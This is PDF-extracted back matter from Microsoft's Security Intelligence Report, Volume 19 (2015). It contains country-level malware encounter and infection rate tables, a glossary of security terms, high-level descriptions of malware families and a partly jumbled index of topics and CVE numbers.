Safety Scanner www.microsoft.com/security/scanner/en-us/privacy.aspx Office 365 www.microsoft.com/online/legal/v2/?docid=22&langid=en-us System Center Endpoint Protection https://www.microsoft.com/privacystatement/en-us/SystemCenter2012R2/ Default.aspx#tilepspSystemCenter2012R2EndpointProtectionModule Windows Defender in Windows 8.1 windows.microsoft.com/en-us/windows-8/windows-8-1-privacystatement#T1=supplement§ion_43 Windows Defender Offline windows.microsoft.com/en-us/windows/windows-defender-offline-privacy 126 APPENDIX B: DATA SOURCES Appendix C: Worldwide encounter and infection rates Malware and unwanted software on page 58 explains how threat patterns differ significantly in different parts of the world. Figure 97 shows the infection and encounter rates for 1Q15 and 2Q15 for locations around the world.22 See page 58 for information about how infection and encounter rates are calculated. Figure 97. Encounter and infection rates for locations around the world, 1Q15 2Q15, by quarter (100,000 computers reporting minimum) Encounter rate 1Q15 Encounter rate 2Q15 CCM 1Q15 CCM 2Q15 Worldwide 17.3% 14.8% Albania 37.6% 31.1% 35.2 36.8 Algeria 45.5% 39.7% 54.0 57.2 Angola 35.5 40.9 Argentina 23.7% 21.4% 15.7 Armenia 35.3% 26.6% 11.6 13.5 Australia 11.9% 11.2% Austria 12.8% 10.7% Azerbaijan 31.9% 24.4% 29.0 34.1 The Bahamas 17.3 Bahrain 0.0% 21.8% 18.8 29.0 Bangladesh 43.2% 39.7% 29.8 32.8 Barbados 12.0 Belarus 29.9% 22.4% Belgium 16.0% 13.5% Bolivia 26.3% 24.1% 16.7 24.6 Country/region 22 Encounter rate and CCM are shown for locations with at least 100,000 computers running Microsoft real- time security products and the Malicious Software Removal Tool, respectively, during a quarter. Only computers whose users have opted in to provide data to Microsoft are considered when calculating encounter and infection rates. MICROSOFT SECURITY INTELLIGENCE REPORT, VOLUME 19, JANUARY JUNE 2015 127 Encounter rate 1Q15 Encounter rate 2Q15 CCM 1Q15 CCM 2Q15 Bosnia and Herzegovina 33.2% 26.7% 16.2 24.4 Brazil 20.5% 20.2% 16.2 Bulgaria 31.4% 24.1% 12.7 Cambodia 35.7% 34.4% 18.6 22.5 Cameroon 36.1 33.1 Canada 14.0% 12.5% Chile 23.1% 20.9% 20.3 China 13.1% 13.7% Colombia 24.2% 20.9% 25.1 Costa Rica 18.3% 14.5% 11.2 te d Ivoire 32.5 30.8 Croatia 28.8% 22.3% 12.0 Cyprus 25.3% 18.8% 12.8 Czech Republic 18.1% 14.7% Denmark 10.6% 10.2% Dominican Republic 31.4% 27.2% 24.2 33.5 Ecuador 28.4% 23.9% 11.1 19.9 Egypt 39.8% 35.5% 49.8 55.8 El Salvador 24.0% 20.1% 17.3 Estonia 17.7% 14.3% Finland 6.1% 6.0% France 15.8% 13.2% Georgia 37.2% 29.7% 25.4 27.2 Germany 11.1% 8.9% Ghana 39.0% 36.2% 22.1 25.4 Greece 23.8% 17.1% 10.3 Guadeloupe 13.5 Guatemala 20.9% 18.2% 17.1 Honduras 25.8% 23.4% 11.6 25.8 Hong Kong SAR 11.8% 10.5% Hungary 22.3% 17.6% Country/region 128 APPENDIX C: WORLDWIDE ENCOUNTER AND INFECTION RATES Encounter rate 1Q15 Encounter rate 2Q15 CCM 1Q15 CCM 2Q15 Iceland 14.8% 11.0% India 34.9% 31.3% 24.2 30.4 Indonesia 42.8% 40.6% 30.6 38.2 Iraq 41.4% 34.4% 76.6 80.2 Ireland 13.6% 12.3% Israel 20.4% 16.1% 13.7 Italy 19.5% 15.3% Jamaica 29.1% 24.3% 10.0 18.7 Japan 5.5% 5.4% Jordan 39.5% 33.3% 36.6 45.3 Kazakhstan 31.4% 24.6% 21.6 21.6 Kenya 31.3% 28.9% 18.9 22.9 Korea 12.8% 10.3% 13.8 Kuwait 27.6% 22.7% 17.6 27.1 Latvia 23.1% 16.2% Lebanon 33.5% 28.4% 31.7 42.5 Libya 61.0 69.8 Lithuania 24.7% 18.7% Luxembourg Macao SAR Macedonia, FYRO 33.6% 28.5% 16.8 21.9 Malaysia 26.4% 23.9% 16.3 21.8 Malta Martinique 11.0 Mauritius 11.4 20.8 Mexico 22.6% 21.2% 11.4 18.6 Moldova 29.3% 21.5% 10.3 12.4 Mongolia 66.8 77.6 Morocco 36.9% 29.2% 58.2 66.6 Mozambique 21.1 28.9 Namibia 16.3 23.1 Country/region MICROSOFT SECURITY INTELLIGENCE REPORT, VOLUME 19, JANUARY JUNE 2015 129 Encounter rate 1Q15 Encounter rate 2Q15 CCM 1Q15 CCM 2Q15 Nepal 45.0% 39.0% 39.1 43.7 Netherlands 12.9% 11.6% New Zealand 12.8% 12.0% Nicaragua 15.1 Nigeria 31.4% 28.0% 25.9 28.7 Norway 9.8% 10.2% Oman 35.3% 30.6% 25.8 37.6 Pakistan 51.2% 45.1% 55.9 58.6 Palestinian Authority 44.9% 40.5% 59.5 68.7 Panama 22.6% 20.0% 15.0 Paraguay 10.4 20.3 Peru 25.3% 23.3% 13.5 23.4 Philippines 32.0% 29.1% 30.9 37.6 Poland 16.4% 13.0% 11.5 Portugal 22.3% 18.9% Puerto Rico 19.5% 16.8% 13.4 Qatar 30.2% 24.3% 14.3 24.6 union 18.8% 13.2% 10.9 Romania 29.4% 22.5% 16.5 20.9 Russia 22.8% 17.7% Saudi Arabia 31.3% 26.4% 24.1 31.3 Senegal 42.1% 37.0% 20.6 24.4 Serbia 31.1% 25.6% 12.1 18.8 Singapore 14.8% 14.0% Slovakia 18.9% 14.5% Slovenia 20.2% 15.4% South Africa 22.8% 20.4% 10.7 14.4 Spain 19.6% 16.4% 12.4 Sri Lanka 31.9% 26.6% 16.4 22.6 Sweden 9.9% 8.9% Switzerland 12.4% 11.0% Country/region 130 APPENDIX C: WORLDWIDE ENCOUNTER AND INFECTION RATES Encounter rate 1Q15 Encounter rate 2Q15 CCM 1Q15 CCM 2Q15 Taiwan 14.3% 13.6% Tanzania 22.7 26.8 Thailand 26.8% 22.9% 22.3 31.0 Trinidad and Tobago 26.3% 21.9% 16.8 Tunisia 43.1% 36.4% 36.2 50.1 Turkey 32.0% 28.1% 22.5 26.3 Ukraine 31.1% 23.8% United Arab Emirates 31.1% 25.4% 16.7 27.0 United Kingdom 12.7% 11.7% United States 11.0% 9.8% Uruguay 23.6% 19.6% 15.1 Venezuela 32.4% 29.9% 17.5 26.5 Vietnam 36.7% 33.2% 30.4 35.8 Zimbabwe 16.2 19.8 Worldwide 17.3% 14.8% Country/region MICROSOFT SECURITY INTELLIGENCE REPORT, VOLUME 19, JANUARY JUNE 2015 131 Glossary For additional information about these and other terms, visit the MMPC glossary at www.microsoft.com/security/portal/Threat/Encyclopedia/Glossary.aspx. account credentials Information presented to a service provider to verify that the holder of the credentials is authorized to access an account. Account credentials typically take the form of user names paired with passwords, but other forms of identification are possible. ActiveX control A software component of Microsoft Windows that can be used to create and distribute small applications through Internet Explorer. ActiveX controls can be developed and used by software to perform functions that would otherwise not be available using typical Internet Explorer capabilities. Because ActiveX controls can be used to perform a wide variety of functions, including downloading and running programs, vulnerabilities discovered in them may be exploited by malware. In addition, cybercriminals may also develop their own ActiveX controls, which can do damage to a computer if a user visits a webpage that contains the malicious ActiveX control. Address Space Layout Randomization (ASLR) A security feature in recent versions of Windows that randomizes the memory locations used by system files and other programs, which makes it harder for an attacker to exploit the system by targeting specific memory locations. air gap The complete separation of a computer or network from others, with no wired or wireless data connections. Data can only be exchanged across an air gap by physically transporting removable media from one computer to another. ASEP See autostart extensibility point. ASLR See Address Space Layout Randomization (ASLR). autostart extensibility point (ASEP) A place in the registry or file system that Windows checks for programs and processes that should be automatically launched after boot. Threats often add 132 GLOSSARY themselves to one or more ASEPs to ensure that they run automatically whenever the computer is rebooted. backdoor trojan A type of trojan that provides attackers with remote unauthorized access to and control of infected computers. Bots are a subcategory of backdoor trojans. Also see botnet. boleto Short for boleto banc rio. A popular payment method in Brazil, similar to an invoice. Some threats steal money by altering boletos in web pages or email messages. botnet A set of computers controlled by a command-and-control (C&C) computer to execute commands as directed. The C&C computer can issue commands directly (often through Internet Relay Chat [IRC]) or by using a decentralized mechanism, such as peer-to-peer (P2P) networking. Computers in a botnet are often called bots, nodes, or zombies. browser modifier A program that changes browser settings, such as the home page, without adequate consent. This also includes browser hijackers. buffer overflow An error in an application in which the data written into a buffer exceeds the current capacity of that buffer, thus overwriting adjacent memory. Because memory is overwritten, unreliable program behavior may result and, in certain cases, allow arbitrary code to run. Short for command and control. See botnet. Short for computers cleaned per mille (thousand). The number of computers cleaned for every 1,000 executions of the Microsoft Malicious Software Removal Tool (MSRT). For example, if the MSRT has 50,000 executions in a particular location in the first quarter of the year and removes infections from 200 computers, the CCM for that location in the first quarter of the year is 4.0 (200 50,000 1,000). Also see encounter rate. MICROSOFT SECURITY INTELLIGENCE REPORT, VOLUME 19, JANUARY JUNE 2015 133 clean To remove malware or unwanted software from an infected computer. A single cleaning can involve multiple disinfections. command and control See botnet. credentials See account credentials. definition See detection signature. detection signature A set of characteristics that can identify a malware family or variant. Signatures are used by antimalware products to determine whether a file is malicious or not. Also see definition. detonation chamber A sandbox environment in which potentially dangerous files can be automatically launched and monitored for possible malicious activity. disclosure Revelation of the existence of a vulnerability to a third party. disinfect To remove a malware or potentially unwanted software component from a computer or to restore functionality to an infected program. Compare with clean. double free vulnerability A vulnerability triggered when code attempts to free the same memory address twice. This can cause memory corruption, which an attacker may be able to take advantage of if it is not handled properly. downloader See downloader/dropper. downloader/dropper A form of trojan that installs other malicious files to a computer that it has infected, either by downloading them from a remote computer or by obtaining them directly from a copy contained in its own code. 134 GLOSSARY encounter An instance of security software detecting a threat and blocking, quarantining, or removing it from the computer. encounter rate The percentage of computers running Microsoft real-time security software that report detecting malware or potentially unwanted software, or report detecting a specific threat or family, during a period. Also see infection rate. exploit Malicious code that takes advantage of software vulnerabilities to infect a computer or perform other harmful actions. exploit kit A collection of exploits bundled together and sold as commercial software. A typical kit contains a collection of web pages that contain exploits for vulnerabilities in popular web browsers and add-ons, along with tools for managing and updating the kit firewall A program or device that monitors and regulates traffic between two points, such as a single computer and the network server, or one server to another. generic A type of signature that is capable of detecting a variety of malware samples from a specific family, or of a specific type. hash Text that has been encoded using a one-way cryptographic function that prevents it from being decrypted. Also refers to a checksum produced by a hash function to identify or authenticate data. heuristics A tool or technique that can help identify common patterns. This can be useful for making generic detections for a malware family. IFrame Short for inline frame. An IFrame is an HTML document that is embedded in another HTML document. Because the IFrame loads another webpage, it can be used by criminals to place malicious content, such as a script that downloads and installs spyware, into non-malicious HTML pages that are hosted by trusted websites. MICROSOFT SECURITY INTELLIGENCE REPORT, VOLUME 19, JANUARY JUNE 2015 135 in the wild Said of malware that is currently detected on active computers connected to the Internet, as compared to those confined to internal test networks, malware research laboratories, or malware sample lists. infection The presence of malware on a computer, or the act of delivering or installing malware on a computer. Also see encounter. infection rate See CCM. jailbreaking See rooting. login credentials See account credentials. Malicious Software Removal Tool A free tool that Microsoft designed to help identify and remove specific prevalent malware families from customer computers. An updated version of the tool is released each month through Windows Update and other updating services. The MSRT is not a replacement for an up-to-date real-time antivirus solution. malware Short for malicious software. The general name for programs that perform unwanted actions on a computer, such as stealing personal information. Some malware can steal banking details, lock a computer until the user pays a ransom, or use the computer to send spam. Viruses, worms and trojans are all types of malware. malware impression A single instance of a user attempting to visit a page known to host malware and being blocked by SmartScreen Filter in Internet Explorer versions 8 through 11. Also see phishing impression. man-in-the-browser attack A type of web-based threat where a malicious program makes changes to a website without the website owner knowing it is happening. 136 GLOSSARY monitoring tool Software that monitors activity, usually by capturing keystrokes or screen images. It may also include network sniffing software. Also see password stealer (PWS). MSRT See Malicious Software Removal Tool. multifactor authentication Requiring a user to provide two or more forms of authentication, such as a username/password and a physical token, to access an account. open source intelligence (OSINT) Intelligence information collected from unclassified, publicly available sources. OSINT See open source intelligence. See peer-to-peer (P2P). pass-the-hash (PtH) An attack technique wherein the attacker gains access to a resource by presenting a hashed credential directly for authentication, instead of presenting the password normally and allowing the authentication system to create the hash. password stealer (PWS) Malware that is specifically used to transmit personal information, such as user names and passwords. A PWS often works in conjunction with a keylogger. Also see monitoring tool. payload The actions conducted by a piece of malware for which it was created. Payloads can include, but are not limited to, downloading files, changing system settings, displaying messages, and logging keystrokes. peer-to-peer (P2P) A system of network communication in which individual nodes are able to communicate with each other without the use of a central server. MICROSOFT SECURITY INTELLIGENCE REPORT, VOLUME 19, JANUARY JUNE 2015 137 phishing A method of credential theft that tricks Internet users into revealing personal or financial information online. Phishers use phony websites or deceptive email messages that mimic trusted businesses and brands to steal personally identifiable information (PII), such as user names, passwords, credit card numbers, and identification numbers. phishing impression A single instance of a user attempting to visit a known phishing page with Internet Explorer versions 7 through 11, and being blocked by the Phishing Filter or SmartScreen Filter. Also see malware impression. ransomware A type of malware that prevents use of a computer or access to the data that it contains until the user pays a certain amount to a remote attacker (the ransom ). Computers that have ransomware installed usually display a screen containing information on how to pay the ransom. A user cannot usually access anything on the computer beyond the screen. return-oriented programming (ROP) An exploit technique that involves gaining control of a program's control flow and calling a chain of instructions that already exist in memory, each of which ends in a return command. rogue security software Software that appears to be beneficial from a security perspective but that provides limited or no security capabilities, generates a significant number of erroneous or misleading alerts, or attempts to socially engineer the user into participating in a fraudulent transaction. rooting Obtaining administrative user rights on a mobile device through the use of exploits. Device owners sometimes use such exploits intentionally to gain access to additional functionality, but these exploits can also be used by attackers to infect devices with malware that bypasses many typical security systems. The term rooting is typically used in the context of Android devices; the comparable process on iOS devices is more commonly referred to as jailbreaking. See return-oriented programming (ROP). 138 GLOSSARY sandbox A specially constructed portion of a computing environment in which potentially dangerous programs or processes may run without causing harm to resources outside the sandbox. signature See detection signature. sinkhole A server or set of servers designed to absorb and analyze malware traffic. social engineering A technique that defeats security precautions by exploiting human vulnerabilities. Social engineering scams can be both online (such as receiving email messages that ask the recipient to click the attachment, which is actually malware) and offline (such as receiving a phone call from someone posing as a representative from one s credit card company). Regardless of the method selected, the purpose of a social engineering attack remains the same to get the targeted user to perform an action of the attacker's choice. software bundler A program that installs unwanted software on a computer at the same time as the software the user is trying to install, without adequate consent. spam Bulk unsolicited email. Malware authors may use spam to distribute malware, either by attaching the malware to email messages or by sending a message containing a link to the malware. Malware may also harvest email addresses for spamming from compromised machines or may use compromised machines to send spam. spear phishing Phishing that targets a specific person, organization, or group, containing additional information associated with that person, organization, or group to lure the target further into a false sense of security to divulge more sensitive information. SQL injection A technique in which an attacker enters a specially crafted Structured Query Language (SQL) statement into an ordinary web form. If form input is not filtered and validated before being submitted to a database, the malicious SQL statement may be executed, which could cause significant damage or data loss. MICROSOFT SECURITY INTELLIGENCE REPORT, VOLUME 19, JANUARY JUNE 2015 139 targeted attack A malware attack against a specific group of companies or individuals. This type of attack usually aims to get access to the computer or network, before trying to steal information or disrupt the infected machines. tool In the context of malware, a software program that may have legitimate purposes but may also be used by malware authors or attackers. trojan A generally self-contained program that does not self-replicate but takes malicious action on the computer. unwanted software A program with potentially unwanted functionality that is brought to the user attention for review. This functionality may affect the user s privacy, security, or computing experience. virus Malware that replicates, typically by infecting other files in the computer, to allow the execution of the malware code and its propagation when those files are activated. vulnerability A weakness, error, or poor coding technique in a program that may allow an attacker to exploit it for a malicious purpose. wild See in the wild. worm Malware that spreads by spontaneously sending copies of itself through email or by using other communication mechanisms, such as instant messaging (IM) or peer-to-peer (P2P) applications. 140 GLOSSARY Threat families referenced in this report The definitions for the threat families referenced in this report are adapted from the Microsoft Malware Protection Center encyclopedia (www.microsoft.com/security/portal), which contains detailed information about a large number of malware and unwanted software families. See the encyclopedia for more in-depth information and guidance for the families listed here and throughout the report. W97M/Adnel. A family of macro malware that can download other threats to the computer, including TrojanDownloader:Win32/Drixed. HTML/Adodb. A generic detection for script trojans that exploit a vulnerability in Microsoft Data Access Components (MDAC) that allows remote code execution. Microsoft released Security Bulletin MS06-014 in April 2006 to address the vulnerability. Win32/AlterbookSP. A browser add-on that formerly displayed behaviors of unwanted software. Recent versions of the add-on no longer meet Microsoft detection criteria, and are no longer considered unwanted software. Win32/Anogre. A detection for the Sweet Orange exploit kit, which exploits vulnerabilities in some versions of Windows, Adobe Flash Player, and Java to install malware. INF/Autorun. A family of worms that spreads by copying itself to the mapped drives of an infected computer. The mapped drives may include network or removable drives. JS/Axpergle. A detection for the Angler exploit kit, which exploits vulnerabilities in some versions of Internet Explorer, Silverlight, Adobe Flash Player, and Java to install malware. Win32/Bancos. A data-stealing trojan that captures online banking credentials and relays them to the attacker. Most variants target customers of Brazilian banks. MICROSOFT SECURITY INTELLIGENCE REPORT, VOLUME 19, JANUARY JUNE 2015 141 Win32/Banker. A family of data-stealing trojans that captures banking credentials such as account numbers and passwords from computer users and relays them to the attacker. Most variants target customers of Brazilian banks; some variants target customers of other banks. Win32/Banload. A family of trojans that download other malware. Banload usually downloads Win32/Banker, which steals banking credentials and other sensitive data and sends it back to a remote attacker. Win32/BeeVry. A trojan that modifies a number of settings to prevent the computer from accessing security-related websites, and lower the computer's security. JS/Blacole. An exploit pack, also known as Blackhole, that is installed on a compromised web server by an attacker and includes a number of exploits that target browser software. If a vulnerable computer browses a compromised website that contains the exploit pack, various malware may be downloaded and run. MSIL/Bladabindi. A family of backdoors created by a malicious hacker tool called NJ Rat. They can steal sensitive information, download other malware, and allow backdoor access to an infected computer. JS/Bondat. A family of threats that collects information about the computer, infects removable drives, and tries to stop the user from accessing files. It spreads by infecting removable drives, such as USB thumb drives and flash drives. Win32/BrobanDel. A family of trojans that can modify boletos banc rios, a common payment method in Brazil. They can be installed on the computer when a user opens a malicious spam email attachment. Win32/Chir. A family with a worm component and a virus component. The worm component spreads by email and by exploiting a vulnerability addressed by Microsoft Security Bulletin MS01-020. The virus component may infect .exe, .scr, and HTML files. Win32/CompromisedCert. A detection for the Superfish VisualDiscovery advertising program that was preinstalled on some Lenovo laptops sold in 2014 and 2015. It installs a compromised trusted root certificate on the computer, which can be used to conduct man-in-the-middle attacks on the computer. 142 THREAT FAMILIES REFERENCED IN THIS REPORT Win32/Conficker. A worm that spreads by exploiting a vulnerability addressed by Security Bulletin MS08-067. Some variants also spread via removable drives and by exploiting weak passwords. It disables several important system services and security products, and downloads arbitrary files. Win32/CouponRuc. A browser modifier that changes browser settings and may also modify some computer and Internet settings. Win32/CplLnk. A generic detection for specially-crafted malicious shortcut files that attempt to exploit the vulnerability addressed by Microsoft Security Bulletin MS10-046. Win32/Crowti. A ransomware family that encrypts files on the computer and demands that the user pay a fee to decrypt them, using Bitcoins. Win32/Dynamer. A generic detection for a variety of threats. Win32/Dyzap. A threat that steals login credentials for a long list of banking websites using man-in-the-browser (MITB) attacks. It is usually installed on the infected computer by TrojanDownloader:Win32/Upatre. Win32/EoRezo. Adware that displays targeted advertising to affected users while browsing the Internet, based on downloaded pre-configured information. Win32/Foosace. A threat that creates files on the compromised computer and contacts a remote host. Win32/Frethog. A large family of password-stealing trojans that targets confidential data, such as account information, from massively multiplayer online games. Win32/Gamarue. A worm that is commonly distributed via exploit kits and social engineering. Variants have been observed stealing information from the local computer and communicating with command-and-control (C&C) servers managed by attackers. AndroidOS/GingerMaster. A malicious program that affects mobile devices running the Android operating system. It may be bundled with clean applications, and is capable of allowing a remote attacker to gain access to the mobile device. MICROSOFT SECURITY INTELLIGENCE REPORT, VOLUME 19, JANUARY JUNE 2015 143 Win32/IeEnablerCby. A browser modifier that installs additional browser addons without the user's consent. It bypasses the normal prompts or dialogs that ask for consent to install add-ons. Win32/InstalleRex. A software bundler that installs unwanted software, including Win32/CouponRuc and Win32/SaverExtension. It alters its own Installed On date in Programs and Features to make it more difficult for a user to locate it and remove it. DOS/JackTheRipper. A virus that can stop some files from working correctly in Windows XP and earlier operating systems. It spreads by infecting the master boot record (MBR) on connected hard disks and floppy disks. VBS/Jenxcus. A worm that gives an attacker control of the computer. It is spread by infected removable drives, like USB flash drives. It can also be downloaded within a torrent file. ALisp/Kenilfe. A worm written in AutoCAD Lisp that only runs if AutoCAD is installed on the computer or network. It renames and deletes certain AutoCAD files, and may download and execute arbitrary files from a remote host. Win32/Kilim. A trojan that hijacks the user's Facebook, Twitter, or YouTube account to promote pages. It may post hyperlinks or like pages on Facebook, post comments on YouTube videos, or follow profiles and send direct messages on Twitter without permission. Win32/KipodToolsCby. A browser modifier that installs additional browser addons without the user's consent. It bypasses the normal prompts or dialogs that ask for consent to install add-ons. JS/Krypterade. Ransomware that fraudulently claims the computer has been used for unlawful activity, locks it, and demands that the user pay to unlock it. Unix/Lotoor. A detection for specially crafted Android programs that attempt to exploit vulnerabilities in the Android operating system to gain root privilege. Win32/Macoute. A worm that can spread itself to removable USB drives, and may communicate with a remote host. MSIL/Mofin. A worm that can steal files from your PC and send them to a malicious hacker. It spreads via infected removable drives, such as USB flash drives. 144 THREAT FAMILIES REFERENCED IN THIS REPORT Win32/Nuqel. A worm that spreads via mapped drives and certain instant messaging applications. It may modify system settings, connect to certain websites, download arbitrary files, or take other malicious actions. Win32/Obfuscator. A generic detection for programs that have had their purpose disguised to hinder analysis or detection by antivirus scanners. Such programs commonly employ a combination of methods, including encryption, compression, anti-debugging and anti-emulation techniques. Win32/Ogimant. A threat that claims to help download items from the Internet, but actually downloads and runs files that are specified by a remote attacker. HTML/Pangimop. A detection for the Magnitude exploit kit, also known as Popads. It attempts to exploit vulnerabilities in programs such as Java and Adobe Flash Player to install other malware. Win32/Pdfjsc. A family of specially crafted PDF files that exploit Adobe Acrobat and Adobe Reader vulnerabilities. Such files contain malicious JavaScript that executes when the file is opened. Win32/Peaac. A generic detection for various threats that display trojan characteristics. Win32/Peals. A generic detection for various threats that display trojan characteristics. JS/Proslikefan. A worm that spreads through removable drives, network shares, and P2P programs. It can lower the computer's security settings and disable antivirus products. Win32/Radonskra. A family of threats that perform a variety of malicious acts, including stealing information about the computer, showing extra advertisements as the user browses the web, performing click fraud, and downloading other programs without consent. Win32/Ramnit. A family of multi-component malware that infects executable files, Microsoft Office files, and HTML files. Win32/Ramnit spreads to removable drives and steals sensitive information such as saved FTP credentials and browser cookies. It may also open a backdoor to await instructions from a remote attacker. MICROSOFT SECURITY INTELLIGENCE REPORT, VOLUME 19, JANUARY JUNE 2015 145 Win32/Reveton. A ransomware family that targets users from certain countries or regions. It locks the computer and displays a location-specific webpage that covers the desktop and demands that the user pay a fine for the supposed possession of illicit material. Win32/Sality. A family of polymorphic file infectors that target executable files with the extensions .scr or .exe. They may execute a damaging payload that deletes files with certain extensions and terminates security-related processes and services. Win32/SaverExtension. A browser add-on that shows ads in the browser without revealing their source, and prevents itself from being removed normally. Win32/Sdbby. A threat that exploits a bypass to gain administrative privileges on a machine without going through a User Access Control prompt. Win32/Simda. A threat that can give an attacker backdoor access and control of an infected computer. It can then steal passwords and gather information about the computer to send to the attacker. PHP/SimpleShell. A backdoor that can give an attacker the ability to run shell commands on a compromised server. Win32/Skeeyah. A generic detection for various threats that display trojan characteristics. Win32/Slugin. A file infector that infects .exe and .dll files. It may also perform backdoor actions. Win32/Stuxnet. A multi-component family that spreads via removable volumes by exploiting the vulnerability addressed by Microsoft Security Bulletin MS10046. Win32/Tugspay. A downloader that spreads by posing as an installer for legitimate software, such as a Java update, or through other malware. When installed, it downloads unwanted software to the computer. Win32/Upatre. A downloader that installs malware and unwanted software on the affected computer without the user s consent. It is frequently distributed as an attachment to spam email messages. 146 THREAT FAMILIES REFERENCED IN THIS REPORT Win32/Vercuser. A worm that typically spreads via drive-by download. It also receives commands from a remote server, and has been observed dropping other malware on the infected computer. Win32/Wordinvop. A detection for a specially-crafted Microsoft Word file that attempts to exploit the vulnerability CVE-2006-6456, addressed by Microsoft Security Bulletin MS07-014. Win32/Wordjmp. An exploit that targets a vulnerability in Word 2002 and 2003 that could allow an attacker to remotely execute arbitrary code. Microsoft released Security Bulletin MS06-027 in June 2006 to address the vulnerability. MICROSOFT SECURITY INTELLIGENCE REPORT, VOLUME 19, JANUARY JUNE 2015 147 Index Active Directory, 82 ActiveX, 48, 54, 55, 56, 132 address space layout randomization (ASLR), 16, 17, 132 Adnel, 63, 141 85, 86, 141 Azerbaijan, 22, 91, 92, 127 backdoors, vi, 10, 11, 13, 15, 66, 68, 69, 70, 73, 76, 83, 133, 142, 145, 146 Adobe Acrobat, 52, 145 Bahamas, The, 127 Adobe Flash Player, 8, 17, 18, 41, 46, 47, 52 Bahrain, 127 53, 56, 57, 76, 81, 141, 145 Banco Bradesco, 24 Adobe Reader, 52, 56, 145 Banco do Brasil, 24 Adobe Security Bulletins, 17, 47, 52, 53 Banco do Estado do Rio Grande do Sul, 24 Adodb, 63, 141 Banco Ita , 24 Advanced Threat Protection. See Exchange Banco Safra, 24 Online Advanced Threat Protection Banco Santander, 24 adware, 61, 65, 67, 71, 73, 74, 77, 79, 80, 82, Bancos, 21 27, 141 83, 84, 85, 86, 113, 116, 143 Bangladesh, 65, 127 Africa, 65, 130 Banker (malware family), 21 27, 142 air gaps, 11, 12, 14, 15, 19, 132 banking malware, 21 Albania, 127 Banload, 21 27, 62, 74, 142 Algeria, 65, 66, 127 Banrisul. See Banco do Estado do Rio AlterbookSP, 67, 80, 82, 85, 87, 141 Android, 32, 33, 35, 37, 51, 123, 138, 143, 144 security updates, 51 Grande do Sul Barbados, 127 BeeVry, 62, 142 Angler. See Axpergle Belarus, 127 Angola, 127 Belgium, 127 Anogre, 43, 46, 74, 77, 141 Belize, 103 Apple Inc., 36, 49 Bing, ii, 68, 105 7, 125, 126 AppLocker, 27, 118 Blackhole. See Blacole Argentina, 22, 127 Blacole, 49, 142 Armenia, 127 Bladabindi, 66, 76, 142 ASEP. See autostart extensibility points boletos banc rios, 24 26, 133, 142 Asia, 3, 68, 76 Bolivia, 22, 127 ASLR. See address space layout Bondat, 74, 142 randomization (ASLR) Bosnia and Herzegovina, 128 Australia, 127 Brantall, 60 Austria, 127 Brazil, 1, 21 27, 61, 62, 73, 74, 90, 102, 105, Autorun (malware family), 15, 62, 75, 80, 81, 85, 86, 141 autostart extensibility points, 11, 132 148 INDEX Axpergle, 43, 46, 47, 65, 74, 75, 77, 80, 81, 128, 133, 142 BrobanDel, 24 26, 142 browser modifiers, 61, 62, 65, 67, 71, 73, 77, CVE-2011-1823, 50, 51 78, 80, 82, 83, 84, 85, 86, 87, 133, 143, 144 CVE-2011-3874, 50, 51 Bulgaria, 103, 128 CVE-2012-0158, 52 Caixa Econ mica Federal, 24 CVE-2012-0507, 47, 49 Cambodia, 128 CVE-2012-1723, 47, 48, 49 Cameroon, 128 CVE-2012-1889, 54 Canada, 61, 63, 73, 74, 90, 128 CVE-2013-0074, 46 CCM. See computers cleaned per mille CVE-2013-0422, 47, 49 CDI Japan, 69 CVE-2013-2460, 46 CERT/CC, 32 CVE-2013-2551, 46, 54 Chile, 128 CVE-2013-7331, 54 China, 61, 62, 73, 74, 90, 128 CVE-2014-0322, 54 Chir, 65, 142 CVE-2014-0497, 53 Citibank, 24 CVE-2014-0515, 53 CME. See Coordinated Malware Eradication CVE-2014-6332, 43, 44, 50 (CME) CVE-2014-8439, 46, 53 Colombia, 128 CVE-2015-0097, 57 Columbia, 22 CVE-2015-0310, 47 Common Platform Enumeration, 36 CVE-2015-0311, 46, 47, 53 Common Vulnerabilities and Exposures. See CVE-2015-0313, 46, 47, 53 CVE identifier Common Vulnerability Scoring System, 33, CVE-2015-0336, 47, 53 CVE-2015-0359, 47, 53 CVE-2015-1641, 16, 57 CompromisedCert, 67, 142 CVE-2015-1701, 14, 18, 19, 57 Computer Emergency Response Team CVE-2015-1769, 57 Coordination Center. See CERT/CC CVE-2015-1770, 57 computers cleaned per mille, 59 CVE-2015-2360, 57 Conficker, 80, 85, 87, 143 CVE-2015-2424, 16, 17 Control Flow Guard, 17 CVE-2015-3043, 17, 18, 57 Coordinated Malware Eradication, 69 CVE-2015-3090, 47 Costa Rica, 105, 128 CVE-2015-3104, 47 te d Ivoire, 128 CVE-2015-3105, 47 CouponRuc, 61, 62, 65, 67, 77, 78, 79, 80, CVE-2015-3113, 47 82, 85, 86, 143, 144 CPE. See Common Platform Enumeration CVSS. See Common Vulnerability Scoring System CplLnk, 40, 43, 50, 65, 143 Cyprus, 128 Croatia, 128 Czech Republic, 92, 128 Crowti, 74, 80, 143 DCU. See Microsoft Digital Crimes Unit CVE identifier, 31, 32, 40 Denmark, 67, 91, 92, 128 CVE-2009-0075, 54 DirectAccess, 111, 119 CVE-2010-0188, 52 DNHTCU. See Dutch National High Tech CVE-2010-0840, 47, 49 Crime Unit CVE-2010-2568, 40, 43, 50 Dominican Republic, 128 CVE-2010-3336, 52 downloaders, 62, 63, 77, 84, 87, 134, 146 MICROSOFT SECURITY INTELLIGENCE REPORT, VOLUME 19, JANUARY JUNE 2015 149 Downloaders & Droppers, vi, 70, 73, 74, 83, drive-by downloads, 6, 7, 44, 68, 97, 105 FBI. See Federal Bureau of Investigation Federal Bureau of Investigation, 69 Fiesta (exploit kit). See Fiexp droppers, 10, 134 Fiexp, 43, 46 Dutch National High Tech Crime Unit, 68, Filcout, 60 Finland, 67, 91, 92, 105, 128 Dynamer, 62, 143 Foosace, 10, 143 Dyzap, 84, 143 France, 61, 73, 74, 90, 128 EC3. See European Cybercrime Centre Frethog, 68, 143 Ecuador, 128 Gamarue, 68, 75, 76, 80, 81, 86, 143 Egypt, 128 G-Buster Browser Defense, 24 El Salvador, 22, 128 Georgia, 128 email, 4, 5, 7, 11, 20, 27, 82, 87, 94 98, 125, Germany, 90, 128 133, 138, 139, 140, 142, 146 EMET. See Enhanced Mitigation Experience Toolkit (EMET) Ghana, 65, 128 GingerBreak. See CVE-2011-1823 GingerMaster, 51, 143 encounter rate, 58 Google, 32, 33, 35, 36, 37, 51, 68 Enhanced Mitigation Experience Toolkit Google Chrome, 36 (EMET), 119 Google Play Store, 32, 33, 35, 37 